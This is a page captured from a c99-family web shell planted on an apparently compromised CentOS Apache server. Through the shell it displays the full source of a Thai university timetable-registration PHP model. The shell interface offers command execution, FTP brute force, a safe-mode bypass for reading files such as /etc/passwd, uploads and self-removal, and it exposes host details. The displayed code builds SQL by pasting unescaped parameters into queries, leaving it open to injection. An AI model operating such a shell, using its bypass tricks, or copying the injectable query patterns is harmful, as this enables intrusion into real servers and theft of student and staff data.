!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_rg_timetable.php (25.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once("da_rg_TimeTable.php");

class 
mo_rg_timetable extends Da_rg_TimeTable {
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ ต่อสตริงของ sql->order ในรูปแบบ CONVERT
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value)
     * @return    string con โดยอยู่ในรูปแบบ ORDER('$value' USING TIS620)
     * @todo    use
     */
    
public function checkOrderBy_2($condition="") {
        
$con "";
        if(
$condition) {
            
$con .= "ORDER BY ";
            foreach(
$condition as $key => $value) {
                
$con .= "CONVERT($value USING TIS620),";
            }
        }
        return 
$con;
    }
    
    
/**
     * หน้าที่ของฟังก์ชั่น คือ หารายวิชาที่ถูกจัดตารางสอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_TimeTable.*
     * @todo    use
     */
    
public function qryTt($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_TimeTable
                $c1
                $c2
                $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
getSumHr($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(SUM(ttPrdToTime - ttPrdFrTime + 1)) AS num 
                FROM $this->rg_dbname.rg_TimeTable
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryTtGroupPrsId($condition="",$order="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);

        
$c1substr($where0, -3);
        
$c2substr($order0, -1);

        
$sql "SELECT ttPrsId 
                FROM $this->rg_dbname.rg_TimeTable 
                $c1
                $c2
                GROUP BY ttPrsId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้สอน
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows () : rg_TimeTable.*, peoplecenter.Person, peoplecenter.Prefix
     * @todo    use
     */
    
public function qryTtJoinPeopleCenter($condition="",$order="",$group="") {        
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *, IF(prsItId=1, pf.prefixName, pfo.prefixName) AS prefixName, 
                IF(prsItId=1, ps.fName, pso.fName) AS fName, 
                IF(prsItId=1, ps.lName, pso.lName) AS lName 
                FROM $this->rg_dbname.rg_TimeTable 
                INNER JOIN $this->rg_dbname.rg_Person ON ttPrsId = prsId 
                LEFT JOIN $this->ppc_dbname.Person ps ON prsUsId = ps.personId 
                LEFT JOIN $this->ppc_dbname.Prefix pf ON ps.prefixId = pf.prefixId 
                LEFT JOIN $this->ppc_dbname.Personout pso ON prsUsId = pso.psoutId 
                LEFT JOIN $this->ppc_dbname.Prefix pfo ON pso.prefixId = pfo.prefixId 
                $c1
                $c2
                $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้สอนประจำรายวิชา
     *
     * @access    public
     * @param    array condition
     * @return    query >= 1 rows ()
     */
//    public function qryTeacherCo($condition="") {
//        $qry = $this->checkCondition($condition);
//        $con= substr($qry, 0, -3);
//
//        $sql = "SELECT rg_TimeTable.*, rg_CourseOpen.coId , pp.personId, pp.prefixId, pp.personCode, pp.fName, pp.lName, pf.prefixId, pf.prefixName
//                FROM $this->rg_dbname.rg_TimeTable
//                LEFT JOIN $this->rg_dbname.rg_CourseOpen ON ttCoId=coId
//                LEFT JOIN $this->ppc_dbname.Person AS pp ON ttPrsId=pp.personId
//                LEFT JOIN $this->ppc_dbname.Prefix AS pf ON pp.prefixId=pf.prefixId
//                $con";
//        $query = $this->db->query($sql);
//        return $query;
//    }

    
public function qryTtJoinCo($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_TimeTable
                LEFT JOIN $this->rg_dbname.rg_CourseOpen ON ttCoId=coId
                $c1
                $c2
                $c3"
;
        
$query $this->db->query($sql);
        
//echo $sql."<hr>";
        
return $query;
    }

    
// ฟังก์ชั่น หลังจากนี้เป็นฟังก์ชั่น ก่อนวันที่ 6 ตุลาคม 2553


    /*
     * aOrderBy = array('fieldname' => 'ASC|DESC', ... )
     */
    
function get_all($aOrderBy=""){
        
$orderBy "";
        if ( 
is_array($aOrderBy) ) {
            
$orderBy.= "ORDER BY "
            foreach (
$aOrderBy as $key => $value) {
                
$orderBy.= "$key $value, ";
            }
            
$orderBy substr($orderBy0strlen($orderBy)-2);
        }
        
$sql "SELECT * 
                FROM $this->rg_dbname.rg_TimeTable 
                $orderBy"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
/*
     * create array of pk field and value for generate select list in view, must edit PK_FIELD and FIELD_NAME manually
     * the first line of select list is '-----เลือก-----' by default.
     * if you do not need the first list of select list is '-----เลือก-----', please pass $optional parameter to other values. 
     * you can delete this function if it not necessary.
     */
    
function get_options($optional='y') {
        
$qry $this->get_all();
        if (
$optional=='y'$opt[''] = '-----เลือก-----';
        foreach (
$qry->result() as $row) {
            
$opt[$row->PK_FIELD] = $row->FIELD_NAME;
        }
        return 
$opt;
    }

    
// add your functions here

    /**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้สอน
     *
     * @access    public
     * @param    int course open id
     * @return    query >= 1 rows ()
     * @todo    เพิ่ม อาจารย์ประจำ อาจารย์พิเศษ
     * @todo    พิมพ์ v_printSendGradePDF
     */
    
public function qryTeacher($clIdStr) {
        
$sql "SELECT GROUP_CONCAT(IF(prsItId=1, CONCAT(pf.prefixName,ps.fName,' ',ps.lName), 
        CONCAT(pfo.prefixName,pso.fName,' ',pso.lName)) SEPARATOR ', ') AS prsName
                        FROM (
                            SELECT ttPrsId 
                            FROM $this->rg_dbname.rg_TimeTable 
                            WHERE ttCoId IN ("
.$clIdStr.") 
                            GROUP BY ttPrsId
                        ) AS tt 
                        INNER JOIN $this->rg_dbname.rg_Person ON tt.ttPrsId = prsId 
                        LEFT JOIN $this->ppc_dbname.Person ps ON prsUsId = ps.personId
                        LEFT JOIN $this->ppc_dbname.Prefix pf ON ps.prefixId = pf.prefixId
                        LEFT JOIN $this->ppc_dbname.Personout pso ON prsUsId = pso.psoutId
                        LEFT JOIN $this->ppc_dbname.Prefix pfo ON pso.prefixId = pfo.prefixId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    function 
qryTeacher2($clIdStr) {
        
$sql "SELECT *, IF(prsItId=1, pf.prefixName, pfo.prefixName) AS prefixName, 
                    IF(prsItId=1, ps.fName, pso.fName) AS fName, 
                    IF(prsItId=1, ps.lName, pso.lName) AS lName 
                    FROM (
                        SELECT ttPrsId 
                        FROM $this->rg_dbname.rg_TimeTable 
                        WHERE ttCoId IN ($clIdStr) 
                        GROUP BY ttPrsId
                    ) AS tt 
                    INNER JOIN $this->rg_dbname.rg_Person ON tt.ttPrsId = prsId 
                    LEFT JOIN $this->ppc_dbname.Person ps ON prsUsId = ps.personId 
                    LEFT JOIN $this->ppc_dbname.Prefix pf ON ps.prefixId = pf.prefixId 
                    LEFT JOIN $this->ppc_dbname.Personout pso ON prsUsId = pso.psoutId
                    LEFT JOIN $this->ppc_dbname.Prefix pfo ON pso.prefixId = pfo.prefixId"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาอาจารย์ผู้สอน
     *
     * @access    public
     * @param    int course open id
     * @return    query >= 1 rows ()
     */
//    public function qryTeacherNogrpConcat($ttCoId) {
//        $sql = "SELECT ttId, ttPrsId, CONCAT(pf.prefixName,pp.fname,' ',pp.lname) AS prsName
//                FROM $this->rg_dbname.rg_TimeTable
//                LEFT JOIN $this->ppc_dbname.Person AS pp ON ttPrsId=pp.personId
//                LEFT JOIN $this->ppc_dbname.Prefix AS pf ON pp.prefixId=pf.prefixId
//                WHERE ttCoId=?";
//        $query = $this->db->query($sql,array($ttCoId));
//        return $query;
//    }

    //use ตารางสอนรวมประจำภาคการศึกษา
//    function qryTTJOINRoom($coId, $dy, $pr) {
//        $sql = "SELECT *, ttId, ttPrsId, CONCAT(pf.prefixName,pp.fname,' ',pp.lname) AS prsName
//                    FROM $this->rg_dbname.rg_TimeTable 
//                    LEFT JOIN $this->ppc_dbname.spc_Place ON plHwId = ttRmId
//                    LEFT JOIN $this->ppc_dbname.Person AS pp ON ttPrsId=pp.personId
//                    LEFT JOIN $this->ppc_dbname.Prefix AS pf ON pp.prefixId=pf.prefixId
//                    WHERE ttCoId =?
//                    AND ttWdAcYWeekNo =?
//                    AND ? BETWEEN ttPrdFrTime AND ttPrdToTime
//                    ";
//        $query = $this->db->query($sql,array($coId, $dy, $pr));
//        $this->load->database('rg',TRUE);
//        return $query;
//    }

    /**
     * หน้าที่ของฟังก์ชั่น คือ หาคาบที่มีการจัดการเรียนการสอนในช่วงเวลาตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    frTime: รหัสของเวลาเริ่มต้น
     * @param    toTime: รหัสของเวลาสิ้นสุด
     * @return    query >= 1 rows () rg_CourseOpen.*, rg_TimeTable.*
     */    
    
function qryTtBetweenFrTimeAndToTime($condition="",$frTime,$toTime) {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
/*$sql = "SELECT *
                FROM rg_CourseOpen
                LEFT JOIN rg_TimeTable ON coId=ttCoId
                WHERE coAcY=?
                AND ttWdAcYWeekNo=?
                AND ttDyId=?
                AND ttPrdFrTime>=?
                AND ttPrdToTime<=?";*/
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_CourseOpen
                LEFT JOIN $this->rg_dbname.rg_TimeTable ON coId=ttCoId
                $c1
                AND ttPrdFrTime>=?
                AND ttPrdToTime<=?"
;
        
$query $this->db->query($sql,array($toTime,$frTime));
        return 
$query;
    }
    
    public function 
qryRm($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);
        
        
$c1substr($where0, -3);
        
$c2substr($order0, -1);
        
$c3substr($group0, -1);

        
$sql "SELECT *
                FROM $this->ppc_dbname.spc_Place
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    function 
GetMaxOVLByAcYAndPgIdStrAndStYAndAcYWeekNoAndDyId($acY$curId=""$syId=""$ttWdAcYWeekNo$dyId){
    if(
$curId=="NULL" or $curId==""){
        
$cur " and coCurId IS NULL";
    }else{
        
$cur =  "and coCurId ='$curId'";
    }
    if(
$syId==""){
        
$sy NULL;
    }else{
        
$sy =  "and coSyId  ='$syId'";
    }
    
$sql "select IFNULL(max(numOvl), 0) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coAcY='"
.$acY."' ".$cur." ".$sy." and c.coId=t.ttCoId
                            ) as t2 on t1.ttWdAcYWeekNo=t2.ttWdAcYWeekNo and t1.ttDyId=t2.ttDyId 
                                where coAcY='"
.$acY."' ".$cur." ".$sy." and t1.ttWdAcYWeekNo='".$ttWdAcYWeekNo."' and t1.ttDyId='".$dyId."' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
        
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByAcYAndRmIdAndAcYWeekNoAndDyId($acY$rmId=""$acYWeekNo$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coAcY='$acY' and c.coId=t.ttCoId
                            ) as t2 on t1.ttRmId=t2.ttRmId 
                            and t1.ttWdAcYWeekNo=t2.ttWdAcYWeekNo and t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' and t1.ttRmId='$rmId'
                                and t1.ttWdAcYWeekNo='$acYWeekNo' and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
            
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByAcYAndEpMepIdAndEpSepIdAndAcYWeekNoAndDyId($acY$epMepId$epSepId$acYWeekNo$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coAcY='$acY' and c.coId=t.ttCoId
                            ) as t2 on t1.ttEtpMepId=t2.ttEtpMepId and t1.ttEtpSepId=t2.ttEtpSepId 
                            and t1.ttWdAcYWeekNo=t2.ttWdAcYWeekNo and t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' 
                                and t1.ttEtpMepId='$epMepId' and t1.ttEtpSepId='$epSepId' 
                                and t1.ttWdAcYWeekNo='$acYWeekNo' and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
            
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByAcYAndOfIdAndAcYWeekNoAndDyId($acY$ofId$acYWeekNo$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId  
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coAcY='$acY' and c.coId=t.ttCoId
                            ) as t2 on t1.ttPrsId=t2.ttPrsId 
                            and t1.ttWdAcYWeekNo=t2.ttWdAcYWeekNo and t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' 
                                and t1.ttPrsId='$ofId' 
                                and t1.ttWdAcYWeekNo='$acYWeekNo' and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
            
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByAcYAndCoIdAndDyId($acY$coId$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coAcY='$acY' and coCrsId='$coId' and c.coId=t.ttCoId
                            ) as t2 on t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' 
                                and coCrsId='$coId' 
                                and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
            
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByAcYAndCoIdAndClIdAndDyId($acY$coId$clId$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coCrsId='$coId' and coId='$clId' and c.coId=t.ttCoId
                            ) as t2 on t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' 
                                and coCrsId='$coId' and coId='$clId' 
                                and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
        
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    
//test Karn select IFNULL(max(numOvl), 0) as num   and coSection='$sec'
    
function GetMaxOVLByAcYAndCoIdAndClIdAndDyId2($acY$coId$cur,$sec$dyId){
        if(
$cur==""){
            
$c "and coCurId IS NULL";
        }else{
            
$c "and coCurId='$cur'";
        }
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_CourseOpen c 
                            inner join $this->rg_dbname.rg_TimeTable t1 on c.coId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                                where coCrsId='$coId' "
.$c." and coSection='$sec' and c.coId=t.ttCoId
                            ) as t2 on t1.ttDyId=t2.ttDyId 
                                where coAcY='$acY' 
                                and coCrsId='$coId' "
.$c." and coSection='$sec'
                                and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
        
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
GetMaxOVLByStIdAndAcYAndAcYWeekNoAndDyId($stId$acY$acYWeekNo$dyId){
        
$sql "select max(numOvl) as num 
                        from (select t1.ttId, count(*) as numOvl 
                            from $this->rg_dbname.rg_RegistDetails e 
                            inner join $this->rg_dbname.rg_TimeTable t1 on e.rdCoId=t1.ttCoId 
                            inner join (select t.* 
                                from $this->rg_dbname.rg_RegistDetails e, $this->rg_dbname.rg_TimeTable t 
                                where rdStdId ='$stId' and rdAcY='$acY' and e.rdCoId=t.ttCoId
                            ) as t2 on t1.ttWdAcYWeekNo=t2.ttWdAcYWeekNo and t1.ttDyId=t2.ttDyId 
                                where rdStdId ='$stId' and rdAcY='$acY' 
                                and t1.ttWdAcYWeekNo='$acYWeekNo' and t1.ttDyId='$dyId' 
                                and t1.ttPrdFrTime between t2.ttPrdFrTime and t2.ttPrdToTime 
                                group by t1.ttId
                        ) as tt"
;
        
        
$query $this->db->query($sql);
        if(
$query->num_rows()>0){
            return 
$query->row()->num;
        }else{
            return 
1;
        }
    }
    
    function 
rdJointt($stId$acY$acYWeekNo$dyId){
        
$sql "SELECT * FROM ($this->rg_dbname.rg_RegistDetails rd inner join $this->rg_dbname.rg_TimeTable tt on rd.rdCoId=tt.ttCoId) inner join $this->rg_dbname.rg_CourseOpen co on rd.rdCoId=co.coId where rdStdId=? and rdAcY = ? and ttWdAcYWeekNo = ? and ttDyId=?";
        
$query $this->db->query($sql, array($stId$acY$acYWeekNo$dyId));
        return 
$query;
    }

    function 
getCountJoinCo($condition="") {
        
$where $this->checkCondition($condition);

        
$c1substr($where0, -3);

        
$sql "SELECT IFNULL(COUNT(*), 0) AS num 
                FROM $this->rg_dbname.rg_TimeTable 
                INNER JOIN $this->rg_dbname.rg_CourseOpen ON ttCoId = coId 
                $c1"
;
        
$query $this->db->query($sql);
        return 
$query->row()->num;
    }

    function 
qryTtByCoIdGroupAllOrderAcYWeekNoDyIdFrPr($coId) {
        
$sql "SELECT ttRmId, ttEtpMepId, ttEtpSepId, ttWdAcYWeekNo, ttDyId, ttPrdFrTime, ttPrdToTime, ttStId, ttTitle, 
                COUNT(ttPrsId) AS ttPrsId FROM $this->rg_dbname.rg_TimeTable 
                WHERE ttCoId = ? 
                GROUP BY ttRmId, ttEtpMepId, ttEtpSepId, ttWdAcYWeekNo, ttDyId, ttPrdFrTime, ttPrdToTime, ttStId, ttTitle 
                ORDER BY ttWdAcYWeekNo, ttDyId, ttPrdFrTime"
;
        
$query $this->db->query($sql, array($coId));
        return 
$query;
    }

    function 
qryTtByAcYCrsIdGroupAllOrderAcYWeekNoDyIdFrPr($acY$crsId) {
        
$sql "SELECT ttCoId, ttRmId, ttEtpMepId, ttEtpSepId, ttWdAcYWeekNo, ttDyId, ttPrdFrTime, ttPrdToTime, 
                ttStId, ttTitle, COUNT(ttPrsId) AS ttPrsId 
                FROM $this->rg_dbname.rg_CourseOpen 
                INNER JOIN $this->rg_dbname.rg_TimeTable ON coId = ttCoId 
                WHERE coAcY = ? 
                AND coCrsId = ? 
                GROUP BY ttCoId, ttRmId, ttEtpMepId, ttEtpSepId, ttWdAcYWeekNo, ttDyId, ttPrdFrTime, ttPrdToTime, ttStId, ttTitle 
                ORDER BY ttWdAcYWeekNo, ttDyId, ttPrdFrTime, CAST(coSection AS SIGNED)"
;
        
$query $this->db->query($sql, array($acY$crsId));
        return 
$query;
    }

    function 
qryTtByAll($coId$rmId$etpMepId$etpSepId$acYWeekNo$dyId$frPr$toPr$stId$title) {
        
$sql "SELECT * FROM $this->rg_dbname.rg_TimeTable 
                        WHERE ttCoId = ? AND ttRmId = ? AND ttEtpMepId IS NULL AND ttEtpSepId IS NULL 
                        AND ttWdAcYWeekNo = ? AND ttDyId = ? 
                        AND ttPrdFrTime = ? AND ttPrdToTime = ? 
                        AND ttStId = ? AND ttTitle = ? 
                    UNION 
                    SELECT * FROM $this->rg_dbname.rg_TimeTable 
                        WHERE ttCoId = ? AND ttRmId IS NULL AND ttEtpMepId = ? AND ttEtpSepId = ? 
                        AND ttWdAcYWeekNo = ? and ttDyId = ? 
                        AND ttPrdFrTime = ? AND ttPrdToTime = ? 
                        AND ttStId = ? AND ttTitle = ?"
;
        
$query $this->db->query($sql, array($coId$rmId$acYWeekNo$dyId$frPr$toPr$stId$title$coId$etpMepId$etpSepId$acYWeekNo$dyId$frPr$toPr$stId$title));
        return 
$query;
    }

    
//use
    
function rsTTDuplicateTime($acY$tmId$dyId$rmId$sDate$eDate) {
        
$sql "SELECT tt.*, co.*, crs.*, d.dyName, ppcP.*, p1.prdFrTime, p2.prdToTime
                    FROM $this->rg_dbname.rg_TimeTable AS tt 
                    LEFT JOIN $this->rg_dbname.rg_CourseOpen AS co ON ttCoId=coId
                    LEFT JOIN $this->rg_dbname.rg_Course AS crs ON coCrsId=crsId
                    LEFT JOIN $this->rg_dbname.rg_Day AS d ON ttDyId=dyId
                    LEFT JOIN $this->ppc_dbname.spc_Place ppcP ON ttRmId = plHwId
                    LEFT JOIN $this->rg_dbname.rg_Period AS p1 ON ttPrdFrTime=p1.prdId
                    LEFT JOIN $this->rg_dbname.rg_Period AS p2 ON ttPrdToTime=p2.prdId                    
                    WHERE coAcY=? AND coTmId=?
                    AND ttDyId =? AND ttRmId=?
                    AND ttPrdFrTime<=? AND ttPrdToTime>=?
                    "
;
        
$query $this->db->query($sql,array($acY$tmId$dyId$rmId$sDate$eDate));
        
$this->load->database('rg',TRUE);
        return 
$query;
    }
    
    function 
RSrg_TimeTableByAcYAndSeAndOfIdGroupClIdOrderPgId($acY$tmId$prsId){
        
$sql ="select ttCoId from $this->rg_dbname.rg_CourseOpen c, $this->rg_dbname.rg_TimeTable t 
                        where coAcY='$acY' and coTmId='$tmId' and c.coId=t.ttCoId and ttPrsId='$prsId' 
                        group by ttCoId order by `coCrsId`"
;
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    function 
getTTByUTF8($year,$tmId,$curId,$crsId,$tbwdAcYWeekNo=''){
        
$cond = ($tbwdAcYWeekNo != '')?"AND ttWdAcYWeekNo='$tbwdAcYWeekNo' ":'';
        
$sql "SELECT * FROM $this->rg_dbname.rg_TimeTable LEFT JOIN $this->rg_dbname.rg_CourseOpen ON ttCoId=coId WHERE coAcY='$year' AND coCrsId='$crsId' AND coCurId='$curId' $cond ORDER BY ttWdAcYWeekNo ASC, ttDyId ASC ";
        
$query $this->db->query($sql);
        return 
$query;
    }
    
    
/*
    เขียนคำสั่งดึงข้อมูลรายวิชาที่สอนของอาจารย์ย้อนหลัง 3 ปี ให้ระบบจัดการฐานข้อมูลนักวิจัยเรียกใช้
    INPUT : ปีการศึกษาปัจจุบัน tmcAcY, รหัสอาจารย์ ttPrsId 
    OUTPUT : ttPrsId, coAcY, coTmId, crsCode, crsName
    */
    
function getTTByTmcAcYAndPrsId($tmcAcY$ttPrsId){
    
        
$sql "SELECT ttPrsId, coAcY, coTmId, crsCode, crsName 
                    FROM $this->rg_dbname.rg_TimeTable 
                    INNER JOIN $this->rg_dbname.rg_CourseOpen ON coId = ttCoId 
                    INNER JOIN $this->rg_dbname.rg_Course ON coCrsId = crsId 
                    WHERE (coAcY BETWEEN ( '$tmcAcY' -2 ) AND '$tmcAcY') 
                    AND ttPrsId = $ttPrsId 
                    GROUP BY coAcY, coTmId, crsId"
;
        
        
$query $this->db->query($sql);
        return 
$query;
    }
// end class Rg_timetable_model
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--